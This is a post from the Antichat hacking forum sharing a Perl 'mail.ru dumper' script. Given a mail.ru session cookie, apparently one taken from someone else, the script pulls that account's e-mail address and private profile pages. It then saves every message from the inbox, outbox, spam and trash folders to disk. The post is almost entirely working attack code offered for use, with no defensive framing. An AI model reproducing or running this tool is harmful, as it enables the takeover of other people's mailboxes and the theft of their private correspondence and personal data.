Форум АНТИЧАТ - [new mail.ru dumper] by slider

#23
03.01.2010, 11:45
slider
Members of Antichat - Level 5
Регистрация: 04.09.2005
Сообщений: 528
Провел на форуме:
6520559
Репутация: 2947
PHP код:

		
			
#!/usr/bin/perl 



## Сoded by [slider]

## http://forum.antichat.ru



## hello 2 my friends: brain[pillow], genom-- , cy4_ , ... and .. and .. m0nzt3r - loleg :-P



use IO::Socket;



$cookies = q();



print  '-' x 56 . "\n [i] Coded by slider \n [i] forum.antichat.ru\n" . '-' x 56 . "\n\n";

information();create_dir();private();inbox();outbox();doubtful();trash();



sub requester{

    $rqst = IO::Socket::INET->new(PeerAddr=>'win.mail.ru', PeerPort=>'80', Proto=>'tcp', Timeout=>'30') || print "Error! $!\n";

    if($_[2] == 1){print $rqst "GET /cgi-bin/msglist?folder=$_[0]&page=9999999999999999 HTTP/1.0\r\nHost: win.mail.ru\r\nCookie: ".$cookies.";\r\n\r\n";

    while($answer = <$rqst>){if ($answer =~ /$_[1]/){return $1}}}

    if($_[2] == 2){print $rqst "GET $_[0] HTTP/1.0\r\nHost: win.mail.ru\r\nCookie: ".$cookies.";\r\n\r\n";

    open (mailbox, $_[1]);while($answer = <$rqst>){print mailbox $answer;}}

    if($_[2] == 3){

    print $rqst "GET $_[0]$p HTTP/1.0\r\nHost: win.mail.ru\r\nCookie: ".$cookies.";\r\n\r\n";    

    while($answer = <$rqst>){

    if ($answer =~ /td class=lettem><a href="readmsg\?id=(.*)"/){

    print "  [~] MID: $1 && PAGE: $p \n";    

    open (mailbox, ">./mailbox/$email/$_[1]/$p.$1.html");

    $connect = IO::Socket::INET->new(PeerAddr=>'win.mail.ru', PeerPort=>'80', Proto=>'tcp', Timeout=>'30') || print "Error! $!\n";

    print $connect "GET /cgi-bin/sentmsg?reply&id=$1 HTTP/1.0\r\nHost: win.mail.ru\r\nCookie: ".$cookies.";\r\n\r\n";

    while($answer = <$connect>)

    {print mailbox $answer;}}}}

}



sub create_dir{

    if ( ! -e "mailbox" ){mkdir "mailbox", 0755 or die "[~] Can't create mailbox: $!\n";}     

    if ( ! -e "mailbox/$email" ){mkdir "mailbox/$email", 0755 or die "[~] Can't create mailbox/$email: $!\n";}     

    if ( ! -e "mailbox/$email/inbox" ){mkdir "mailbox/$email/inbox", 0755 or die "[~] Can't create mailbox/$email/inbox: $!\n";}         

    if ( ! -e "mailbox/$email/outbox" ){mkdir "mailbox/$email/outbox", 0755 or die "[~] Can't create $email/outbox: $!\n";}         

    if ( ! -e "mailbox/$email/doubtful" ){mkdir "mailbox/$email/doubtful", 0755 or die "[~] Can't create $email/doubtful: $!\n";}         

    if ( ! -e "mailbox/$email/trash" ){mkdir "mailbox/$email/trash", 0755 or die "[~] Can't create $email/trash: $!\n";}         

    if ( ! -e "mailbox/$email/private" ){mkdir "mailbox/$email/private", 0755 or die "[~] Can't create $email/private: $!\n";}         

        print "[!] Creating directory: ok\n";$o = '['.'-'x 5;

}



sub information{

    $reg_last_p = '<b class=odin>&middot;&nbsp;(.*)&nbsp;&middot;<\/b';

    print "[!] Get information:\n\n";$o = '['.'-'x5;

    $email=requester(0,'<title> (.*):',1);if(!$email){$email='!!WRONG!!';die("Something wrong: e-mail\n")}

    print "[- E-mail: $email\n[\n";

    $ilp=requester(0,$reg_last_p,1);if(!$ilp){$ilp=1;}print $o." Inbox    (last_page): $ilp\n";

    $somn=requester(950,$reg_last_p,1);if(!$somn){$somn=1;}print $o." Doubtful (last_page): $somn\n";

    $outbox=requester(500000,$reg_last_p,1);if(!$outbox){$outbox=1;}print $o." Outbox   (last_page): $outbox\n";

    $trash=requester(500002,$reg_last_p,1);if(!$trash){$trash=1;}print $o." Trash    (last_page): $trash\n\n";

}



sub private{

    print "[*] Getting private information: ";

    requester('/cgi-bin/userinfo',">./mailbox/$email/private/userinfo_1.html",2);

    requester('/cgi-bin/anketa?page=1',">./mailbox/$email/private/anketa_1.html",2);

    requester('/cgi-bin/anketa?page=2',">./mailbox/$email/private/anketa_2.html",2);

    requester('/cgi-bin/userinfo?mra=1',">./mailbox/$email/private/userinfo_2.html",2);

    requester('/cgi-bin/start',">./mailbox/$email/private/index.html",2);

    print "ok\n\n"

}



sub inbox{

    print "[!] Geting: INBOX:\n\n";

    for($p=1;$p<$ilp+1;$p++){

    requester("/cgi-bin/msglist?folder=0&page=",'inbox',3);

    print "  [~] ok \n";}

}



sub outbox{

    print "\n[!] Geting: OUTBOX:\n\n";

    for($p=1;$p<$outbox+1;$p++){

    requester("/cgi-bin/msglist?folder=500000&page=",'outbox',3);

    print "  [~] ok \n";}

}



sub doubtful{

    print "\n[!] Geting: DOUBTFUL:\n\n";

    for($p=1;$p<$somn+1;$p++){

    requester("/cgi-bin/msglist?folder=950&page=",'doubtful',3);

    print "  [~] ok \n";}

}



sub trash{

    print "\n[!] Geting: TRASH:\n\n";

    for($p=1;$p<$trash+1;$p++){

    requester("/cgi-bin/msglist?folder=500002&page=",'TRASH',3);

    print "  [~] ok \n";}

}

    

## Active Perl:

## http://downloads.activestate.com/ActivePerl/Windows/5.8/ActivePerl-5.8.8.820-MSWin32-x86-274739.msi



## Antichat.ru